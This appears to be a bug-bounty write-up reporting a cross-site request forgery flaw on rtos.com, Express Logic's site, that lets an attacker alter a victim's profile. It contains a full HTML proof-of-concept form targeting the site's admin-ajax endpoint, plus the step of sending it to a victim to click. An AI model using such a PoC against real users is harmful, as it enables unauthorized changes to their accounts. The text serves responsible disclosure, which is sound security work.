Cross Site Request Forgery vulnerability Leads to User Profile Change in Microsoft Express Logic
Basic Cross Site Request Forgery
CSRF (Cross site request forgery) is the vulnerability that tricks the user to submit the malicious request if there is no implementation of the Anti-CSRF tokens in the forms or site. When implemented your website https://example.com will include a random generated number or token to every page which is impossible to guess by the attacker so https://example.com will include it when they serve it to you. It differs each time they serve any page to anybody so attacker won’t be able to generate a valid request because of the wrong token.
Affected Product: https://rtos.com
Allows an attacker to change one’s account information in this case ie information from “Name ”. Attackers can change the information without having to login to victim account or without having to login but only by using CSRF technique. Also change the (Victim) users profile ,company name,position ,phone number,website,country,postal all profile information can be changed
using the Script
<html>
<! — CSRF PoC — →
<body>
<script>CSRF</script>
<form action=”https://rtos.com/wp-admin/admin-ajax.php" method=”POST”>
<input type=”hidden” name=”first_name” value=” attacker “ />
<input type=”hidden” name=”last_name” value=” attacker “ />
<input type=”hidden” name=”company” value=”attacker” />
<input type=”hidden” name=”position” value=”Co-f attacker r” />
<input type=”hidden” name=”phone” value=”123324123" />
<input type=”hidden” name=”website” value=”http://adeshkolte.com” />
<input type=”hidden” name=”country” value=”IN” />
<input type=”hidden” name=”address” value=”Pune ” />
<input type=”hidden” name=”address2" value=”Pune” />
<input type=”hidden” name=”city” value=”Pune ” />
<input type=”hidden” name=”state” value=”” />
<input type=”hidden” name=”region” value=”Maharashtra ” />
<input type=”hidden” name=”zip” value=”443112" />
<input type=”hidden” name=”action” value=”account_personal” />
<input type=”submit” value=”Submit request” />
</form>
</body>
</html>
save it as csrf.html Send the script to the victim nd make them click
Got Hall Of Fame https://portal.msrc.microsoft.com/en-us/security-guidance/researcher-acknowledgments-online-services?rtc=1
Thanks For Reading